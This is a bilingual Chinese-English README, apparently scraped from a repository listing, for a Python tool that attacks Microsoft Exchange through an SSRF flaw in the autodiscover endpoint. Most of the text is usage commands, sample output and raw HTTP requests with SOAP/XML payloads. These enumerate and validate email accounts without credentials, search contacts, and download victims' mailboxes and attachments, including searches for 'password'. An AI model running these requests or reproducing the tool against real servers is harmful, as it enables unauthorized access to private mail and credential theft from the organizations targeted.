Some Attacks of Exchange SSRF
This project is heavily replicated in ProxyShell, NtlmRelayToEWS
https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag
Get 100 Email Users Without By Brute 无需爆破获取100条邮箱用户
run 运行程序：
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Get
result 结果：
Email Address : [email protected]
Email Address : [email protected]
Email Address : [email protected]
Email Address : [email protected]
Brute Account 爆破可能存在的用户
file with emails 需要尝试的邮箱文件：
/tmp/emails.txt：
run 运行程序：
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt
result 结果：
[email protected] valid
[email protected] valid
爆破用户的几个接口 一：
POST /autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: mail.exchange.com
User-Agent: Python PSRP Client
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Cookie: Email=autodiscover/[email protected]
Content-Length: 776
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>[email protected]</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
用户存在会提示：
Access is denied. Check credentials and try again.,
爆破用户的几个接口 二：
POST /autodiscover/[email protected]/autodiscover/autodiscover.xml?=&Email=autodiscover/[email protected] HTTP/1.1
Host: mail.exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36.
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 369
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
用户不存在会提示：
The email address can't be found.
Search Contacts 搜索联系人
run 运行程序：
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchC --email [email protected] --keyword test
--keyword为你想要搜索的联系人关键词。
result 结果：
Search Mails And Download (include attachment) 搜索邮箱并下载，包括附件
run 运行程序：
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchM --email [email protected] --keyword password
--keyword为你想要搜索的关键词，比如"密码"。
result 结果：
[+] Item [output/password-item-0.eml] saved successfully
keyword关键词可以使用一些邮件语法，比如搜索主题时，可以用--keyword "subject:password"
Download user's emails (include attachment) 下载指定用户的邮件，包括附件
run 运行程序：
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email [email protected]
result 结果：
[+] Item [output/item-0.eml] saved successfully
7 Nov 24, 2022
17 Nov 09, 2022
3.5k Jan 09, 2023
772 Jan 05, 2023
199 Jan 04, 2023
87 Dec 29, 2021
429 Dec 31, 2022
1.5k Jan 02, 2023
10.1k Jan 09, 2023
1 Jan 03, 2022
9 Feb 15, 2022
25 Nov 09, 2022
92 Jul 20, 2022
28 Dec 29, 2022
7 Jan 05, 2023
10 Jul 31, 2022
1 Nov 17, 2021
40 Dec 21, 2022
2 Nov 24, 2021
81 Dec 07, 2022